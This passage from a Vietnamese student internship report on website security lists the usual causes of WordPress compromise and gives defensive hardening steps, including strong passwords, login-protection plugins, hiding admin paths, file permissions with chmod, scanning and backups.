- Không Upgrade các phiên bản mới để và lỗi ở phiên bản cũ.

- Cài đặt Plugin và các themes không rõ nguồn gốc hoặc không kiểm tra kỹ source có dính mã độc hay shell trong đó.

- Mật khẩu cho quyền quản trị quá dễ hoặc dễ đoán.

5.2 Các cách cần thiết đễ tránh bị tấn công :

- Bảo mật thông tin đăng nhập : đặt mật khẩu dài và mạnh kèm theo các ký tự khác nhau như “ !@#$%^&*” hoặc sử dụng plugin Chap Secure Login với chức năng chính là gán

Page 17: Bao cao tttn   an ninh web

17AN NINH WEBSITE

thêm những đoạn mã hash ngẫu nhiên vào chuỗi ký tự mật khẩu, sau đó tiến hành xác nhận tính hợp pháp của tài khoản với giao thức CHAP.

- Chống tấn công dò mật khẩu Brute Force Attack : sử dụng plugin Login LockDown giúp website của bạn giảm đi nguy cơ này. Công cụ này giúp ghi lại sự kiện đăng nhập sai nhiều lần từ 1 IP, sau đó sẽ khóa lại IP này.

- Bảo vệ thư mục wp-admin : Bạn cần đổi địa chỉ đăng nhập vào trang quản trị bằng cách sử dụng plugin Better WP Security để tăng cường bảo mật cho WordPress. Chức năng đổi đường dẫn mặc định của trang quản trị thành đường dẫn bất kỳ mà bạn muốn. Sau khi cài đặt, vào Security => Hide và điền tên của đường dẫn mới của trang quản trị, trang đăng nhập và trang đăng ký.

- Ẩn thư mục Plugins : Để ẩn thư mục này thì các bạn chỉ cần đăng tải file index.html trống tới thư mục plugin này. Đơn giản, chỉ cần mở 1 ứng dụng chỉnh sửa text bất kỳ, sau đó lưu lại thành index.html, dùng chương trình FTP và tải file index.html này vào thư mục /wp-content/plugins.

- Đổi tên đăng nhập mặc định “admin” thành những tên khác có quyền tương tự admin.

- Luôn cập nhật phiên bản mới của Wordpress và Plugin.

- Thực hiện quy trình quét lỗi thường xuyên : các bạn cần cài đặt tiện ích WP Security Scan và tiến hành quét thường xuyên nhằm phát hiện ra các lỗ hổng bảo mật trong hệ thống.

- Đặt mật khẩu cho thư mục trang quản trị : có thể sử dụng Password Protect Directories có trong cPanelX ở các hosting thông dụng.

- Phân quyền cho file/thư mục trên host bằng CHMOD :

File đầu tiên chúng ta cần bảo vệ đó là wp-config.php vì file này lưu giữ những thông tin đăng nhập vào cơ sở dữ liệu của mình.

Nếu như các bạn ít khi chỉnh sửa file này thì hãy CHMOD là 444 cho wp-config. Điều này có nghĩa tất cả các nhóm người dùng chỉ có thể đọc chứ không chỉnh sửa hay thực thi được, kể cả chủ sỡ hữu. Và sau khi đưa về 444, chúng ta không thể chỉnh sửa nội dung file này, nếu muốn chỉnh sửa thì hãy đưa nó về 644.

Các file còn lại thì bạn có thể CHMOD là 644 và 755 cho các folder.

Nếu bạn muốn tối ưu hơn nữa, hãy CHMOD folder wp-admin, wp-includes thành 101. Tuy nhiên để CHMOD thành 101 thì bạn không thể CHMOD trên FTP được mà phải vào File Manager để làm việc này.

Page 18: Bao cao tttn   an ninh web

18AN NINH WEBSITE

Sau khi CHMOD thành 101, bạn đăng nhập vào FTP sẽ không thể nhìn thấy các folder đã được CHMOD, điều này đồng nghĩa bạn không thể làm gì được ngoại trừ truy cập bằng trình duyệt.

Tiếp đến là CHMOD cho tất cả các file thành 400 (ngoại trừ các file trong thư mục theme).

Nếu trong một số trường hợp máy chủ không cho phép CHMOD 400 thì bạn có thể đổi thành 404.

Nếu như bạn thấy khó khăn trong việc CHMOD thì plugin File Permissions & Size Check sẽ giúp bạn CHMOD và theo dõi các tập tin/thư mục dễ dàng trong trang quản trị WordPress.

- Sao lưu ( BACKUP ) cơ sở dữ liệu thường xuyên.

- Sử dụng những plugin bảo mật của wordpress : WP Security Scan, WordPress Exploit Scanner, Login Lockdown